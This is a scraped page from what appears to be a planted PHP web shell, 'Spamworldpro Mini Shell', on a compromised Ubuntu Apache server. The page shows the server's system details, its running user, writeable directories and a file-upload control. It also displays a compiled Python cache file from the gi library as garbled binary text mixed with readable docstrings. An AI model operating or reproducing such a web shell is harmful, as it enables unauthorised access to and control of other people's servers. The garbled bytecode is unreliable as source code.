Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/gi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/gi/__pycache__/docstring.cpython-310.pyc
o

��b] �@sddlmZmZmZmZmZmZmZdadd�Z	dd�Z
dd�Zieje
�eje�eje�eje�eje�eje�eje�eje�eje�eje�eje�eje�eje�eje�eje�ej e!�ej"e!�ej#e!ej$dej%dej&dej'di�Z(d	d
�Z)dd�Z*d
d�Z+dd�Z,e	e,�dS)�)�	VFuncInfo�FunctionInfo�CallableInfo�
ObjectInfo�
StructInfo�	Direction�TypeTagNcCs|adS)z�Set doc string generator function

    :param callable func:
        Callable which takes a GIInfoStruct and returns documentation for it.
    N��_generate_doc_string_func)�func�r�./usr/lib/python3/dist-packages/gi/docstring.py�set_doc_string_generator%srcCstS)z6Returns the currently registered doc string generator.r	rrrr
�get_doc_string_generator/srcCst|�S)aEGenerate a doc string given a GIInfoStruct.

    :param gi.types.BaseInfo info:
        GI info instance to generate documentation for.
    :returns:
        Generated documentation as a string.
    :rtype: str

    This passes the info struct to the currently registered doc string
    generator and returns the result.
    r	��inforrr
�generate_doc_string4srcCsf|��}t�|d�}|rt|d�r|jS|tjkr/|��}|��}|s'|�	�Sd|�
�|fS|�	�S)N�__name__z%s.%s)�get_tag�_type_tag_to_py_type�get�hasattrrr�	INTERFACE�
get_interface�get_name�get_tag_as_string�
get_namespace)�gi_type�type_tag�py_type�iface�	info_namerrr
�_get_pytype_hint\s
r"c
Cs�g}t|t�rdg}nt|t�r|��rdg}|��}d}t�}t�}|D]}|�|���|�|���	��|�|�
��q%t|�D]?\}}|��t
jkrOqC||vrTqC|��}t|���}	|	|vrh|d|	7}|��sp||vru|d7}n|��r}|d7}|�|�qCd�|�}
g}t|���}|��s�|r�||vr�|}|��r�|d7}|�|�t|�D]*\}}|��t
jkr�q�||vr�q�|��}t|���}	|	|vr�|d|	7}|�|�q�|r�d|j|
d�|�fSd	|j|
fS)
N�self)�void�:z=Nonez=<optional>z, z or Nonez%s(%s) -> %sz%s(%s))�
isinstancerr�	is_method�
get_arguments�set�add�get_destroy�get_type�get_array_length�get_closure�	enumerate�
get_directionr�OUTrr"�may_be_null�is_optional�append�join�get_return_type�skip_return�may_return_null�INr)
r�in_args_strs�args�hint_blacklist�ignore_indices�user_data_indices�arg�i�argstr�hint�in_args_str�
out_args_strs�return_hintrrr
�_generate_callable_info_docnsb




rFcCs�d}d}t|t�r|��dkr|d|��d7}n
|d|��d7}|��D]}|��r8|dt|�d7}q(|r?||SdS)Nz
:Constructors:

::

��z    z()
z(**properties)
�
)r&r�get_sizer�get_methods�is_constructorrF)r�header�doc�method_inforrr
�_generate_class_info_doc�s
��rPcCs,t|ttf�rt|�St|t�rt|�SdS)NrG)r&rrrPrrFrrrr
�_generate_doc_dispatch�s

rQ)-�_girrrrrrrr
rrr�BOOLEAN�bool�INT8�int�UINT8�INT16�UINT16�INT32�UINT32�INT64�UINT64�FLOAT�float�DOUBLE�GLIST�list�GSLIST�ARRAY�GHASH�dict�UTF8�str�FILENAME�UNICHARr�GTYPE�ERROR�VOIDrr"rFrPrQrrrr
�<module>sb$

��������	�
���
�����@

Spamworldpro Mini